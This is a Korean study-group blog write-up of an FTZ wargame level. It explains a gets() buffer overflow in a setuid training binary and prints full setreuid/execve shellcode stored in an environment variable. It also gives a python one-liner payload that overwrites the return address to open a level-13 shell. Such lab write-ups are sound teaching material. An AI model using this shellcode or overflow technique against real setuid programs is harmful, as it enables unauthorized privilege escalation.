hint 파일의 내용은 다음과 같다.
setuid 함수로 level 13 계정의 uid로 바꿔주고 있고, gets 함수로 입력을 받는다. 입력을 받는 str의 크기는 256바이트 이지만, 입력값에서 제한을 하고 있지 않기 때문에 bof 취약점이 발생할 수 있다. 정상적인 입력값을 받는다면 문자열을 입력받고, 입력값을 그대로 출력해주는 프로그램이다.
파일 목록을 보면 attackme라는 파일이 있었고, 그 파일을 tmp 디렉토리로 복사하여(권한문제 때문) gdb로 main 함수를 확인하며 다음과 같다.
str의 크기는 256이지만 264 만큼의 크기를 확보하고 있기에 str 256바이트에 dummy 8바이트가 들어가는 것 같다. str의 시작점에서 ret까지의 거리는 str의 크기 256 + dummy(8) + SFP(4) = 268이다. 전 문제 처럼 환경변수에 쉘 코드를 넣고, RET에 환경변수의 주소를 넣어 level 13 계정의 쉘을 딸 수 있을 것 같다.
사용한 쉘 코드는 전 문제와 동일하다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
SHELL12 라는 이름으로 환경변수를 만들어 쉘 코드를 넣어주었다.
다음과 같은 코드로 쉘 코드를 넣은 환경변수의 주소를 알아낼 수 있다.
페이로드를 넣을 때는 전 문제와 달리 프로그램 실행 후 값을 입력받는 방식이기 때문에 "넣을 값"; cat | ./attackme의 형식으로 실행하면 넣을 값이 attackme 실행후 값으로 들어가고, 값을 입력할 수 있게 된다.
따라서 다음과 같이 payload를 작성하면 쉘을 딸 수 있다.
$ (python -c 'print "A"*268+"\x18\xfe\xff\xbf"'; cat) | ./attackme
'Project H4C Study Group' 카테고리의 다른 글
[Project H4C][pwnable.kr] collision (0) | 2021.03.30 |
---|---|
[Project H4C][pwnable.kr] fd (0) | 2021.03.30 |
[Project H4C] FTZ (8 ~11) (0) | 2021.03.27 |
[Project H4C] FTZ (1 ~ 7(문제오류)) (0) | 2021.03.24 |
[Project H4C] C언어 코딩도장(14) (0) | 2021.03.23 |